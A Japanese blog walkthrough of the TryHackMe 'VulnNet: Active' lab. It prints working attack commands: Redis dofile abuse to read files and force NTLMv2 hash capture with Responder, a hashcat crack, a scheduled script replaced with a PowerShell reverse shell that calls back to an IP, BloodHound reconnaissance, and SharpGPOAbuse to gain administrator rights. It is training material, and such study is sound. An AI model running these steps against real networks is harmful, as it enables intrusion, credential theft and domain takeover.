今回は、TryHackMeで提供されている「VulnNet:Active」というルームの攻略をしていきます。
このルームでは以下のことを体験できます。
脆弱なRedisを悪用して指定したコマンドを実行
ImpacketのResponder を使いNTLMv2ハッシュを取得。
SMBサーバ上にある定期的に実行されるスクリプトを書き換え、ユーザ権限のリバースシェルを取得。
BloodHoundとSharpHoundを使って権限昇格の攻撃経路を明らかにする。
書き換え可能なGPOを利用して管理者権限に昇格。
これらのことに興味がある方が今回の読者の対象です。
無料でアクセス可能なので、試してみたい方はやってみてね。
スポンサーリンク
Userフラグの取得
サービスの列挙
以下のコマンドで列挙を実施します。
nmap -sSV -T4 10.10.14.109
DNS(53番ポート)SMB(139、445番ポート)、RCP(135番ポート)、Redisサーバ(6379番ポート)などを確認できます。
SMBの調査をおこなったものの、認証情報が不明なため充分な情報を得られず。。
Redisサーバが公開されているのでこちらの調査を実施します。
Redisサーバの列挙
Redisはメモリ上で動作するNoSQLのデータベースです。
デフォルトだと認証なしでテキストベースのインタフェースでアクセス可能とのこと。
redis-cliを使って列挙を行います。
事前にツールをインストールします。
apt install redis-tools
続いて、以下のコマンドでRedisサーバに接続し、現在の設定を列挙します。
redis-cli -h 10.10.14.109
config get *
ここで、enterprise-securityというユーザ名と、Redisサーバのバージョン情報(2.8.2402)が判明しました。
以前のバージョンのRedisサーバを悪用
以前のバージョンのRedis(2.8.2402もその中に含まれている)を悪用する方法を紹介している記事があります。
Trying to hack Redis via HTTP requests
今回は以下のコマンドを使用して、LFI(Local File Inclusion)で行われるようなファイルの内容を閲覧できるかを確認します。
redis-cli -h 10.10.14.109 eval “dofile(‘C:\\Users\\enterprise-security\\Desktop\\user.txt’)” 0
user.txtは確認できそうです。
NTLMv2ハッシュの取得とパスワードクラックを実施
先ほどは端末内のファイルにアクセスできることが分かりました。
次に、被害端末から攻撃側端末の共有フォルダへのアクセスを試みてみます。
被害端末のユーザが共有フォルダへのアクセスを試みる際に、アクセスのログを確認することでNTLMハッシュを取得できるかもしれません。
そんな方法があるのか~、びっくり。
上記作業を行うために、ImpacketのResponderを攻撃側端末上で起動します。
sudo responder -I ens5
次に被害端末から公開されている攻撃側端末の共有フォルダにアクセスします。
redis-cli -h 10.10.14.109 eval “dofile(‘//10.10.57.36/test’)” 0
ユーザの NTLM v2ハッシュを含んだリクエストを取得できました。
続いて、hashcatを使って取得したハッシュ値を解読します。
取得したハッシュをhash.txtに保存し、以下のコマンドを実施します。
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
数秒で解読できました。
enterprise-securityユーザのパスワードが判明しました。
SMBサーバの列挙とユーザ権限のリバースシェルの取得
初めにSMBサーバを調査したときは認証情報が無かったので有用な情報が得られませんでした。
先ほど判明したパスワードを使用してsmbclientで接続します。
smbclient -L //10.10.14.109 -U enterprise-security –password=xxx
Sharename Type Comment
——— —- ——-
ADMIN$ Disk Remote Admin
C$ Disk Default share
Enterprise-Share Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Enterprise-Shareが気になりますので確認してみます。
smbclient //10.10.14.109/Enterprise-Share -U enterprise-security –password=xxx
PurgeIrrelevantData_1826.ps1というスクリプトがありました。
絶対なんかに利用できそうだよね。
利用してくれと言わんばかりの匂いがするね。
ダウンロードして確認してみよう。
ダウンロードして攻撃側端末で中身を確認します。
get PurgeIrrelevantData_1826.ps1
cat PurgeIrrelevantData_1826.ps1
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
おそらく定期的に実行されるタスクだろうと思われます。
このスクリプトを以下のように書き換えて、攻撃側端末にリバースシェルを確立させます。
$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.109”,1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
書き換えたスクリプトを被害端末にアップロードします。
put PurgeIrrelevantData_1826.ps1
(smbclinet経由)
続いて、攻撃端末側でリバースシェル接続を待ち受けます。
nc -lvnp 1234
少しするとユーザ権限のシェルを取得し、ユーザフラグを獲得できます。
ひとまずユーザフラグはゲット!
Rootフラグの取得
SharpHoundとBloodHoundを使った攻撃経路の探索
今回は、SharpHoundとBloodHoundを使って権限昇格の攻撃経路を探索します。
まずは、SharpHound.exeをネット上で検索し攻撃側端末にダウンロードします。
続いて、smbclinet経由でアップロードし、実行します。
put SharpHound.exe
リバースシェルで以下のコマンドを実行します。
./SharpHound.exe
SharpHoundを実行した結果、zipファイルが生成されます。
SharpHoundで必要なデータを収集して、攻撃端末側でBloodHoundに読み込ませて解析するよ。
smbclinet経由でダウンロードします。
get 20230629230640_BloodHound.zip
続いて、攻撃側端末でBloodHoundを実行し、ダウンロードしたデータを分析します。
neo4j console
bloodhoundを実行
http://localhost:7474/に接続するブラウザが起動するので、以下の認証情報を入力します。
ユーザ名:neo4j
パスワード:neo4j
「Upload data」ボタンをクリックし、zipファイルをアップロードしますと解析が始まります。
現在のenterprise-securityユーザから管理者への最短パスを分析します。
結果を確認すると、GPOの一つ(security-pol-vn)にGenericWrite権限があるようです。
GenericWrite権限を使用したGPOの書き込みと権限昇格
GenericWrite権限を使用したGPOの書き込みを行うため、SharpGPOAbuse.exeというツールを使います。
ネットで検索して事前に攻撃側端末にダウンロードします。
ダウンロードしたらEnterprise-Share共有フォルダ経由でアップロードします。
put SharpGPOAbuse.exe
アップロード後、リバースシェルで以下のコマンドを実行します。
.\SharpGPOAbuse.exe –AddComputerTask –TaskName “babbadeckl_privesc” –Author vulnnet\administrator –Command “cmd.exe” –Arguments “/c net localgroup administrators enterprise-security /add” –GPOName “SECURITY-POL-VN”
続いて以下のコマンドを実行し、グループポリシーの適用を強制します。
gpupdate \force
終了したらpsexecを使用して、新しい権限で被害端末にアクセスします。
以下のディレクトリに移動し、フラグを取得できます。
cd C:\Users\Administrator\Desktop\
cat system.txt
スポンサーリンク
まとめ
今回行った攻撃は以下のとおりです。
Redisの脆弱性を悪用してリモートのSMB共有フォルダにアクセスさせ、NTLMv2ハッシュを取得。
SMBサーバ上にある定期的に実行されるスクリプトを書き換え、ユーザ権限のリバースシェルを取得。
BloodHoundとSharpHoundを使って権限昇格の攻撃経路を明らかにする。
書き換え可能なGPOを利用して管理者権限に昇格。
なかなか面白いルームでした。
この記事が参考になれば幸いです。
サイバーセキュリティを学ぶ上で必要な攻撃と解析に関する他の記事は、以下のリンクで確認できます。
学習に関しましては、以下のセキュリティの勉強法、おすすめの学習本・動画の記事が多くの方に読まれています。
資格の記事については以下の記事がおすすめです。
ITエンジニアへの転職については以下の記事がおすすめです。
その他学習・転職関連に関しましては、以下の記事もあわせて読まれています。
ぜひご覧ください!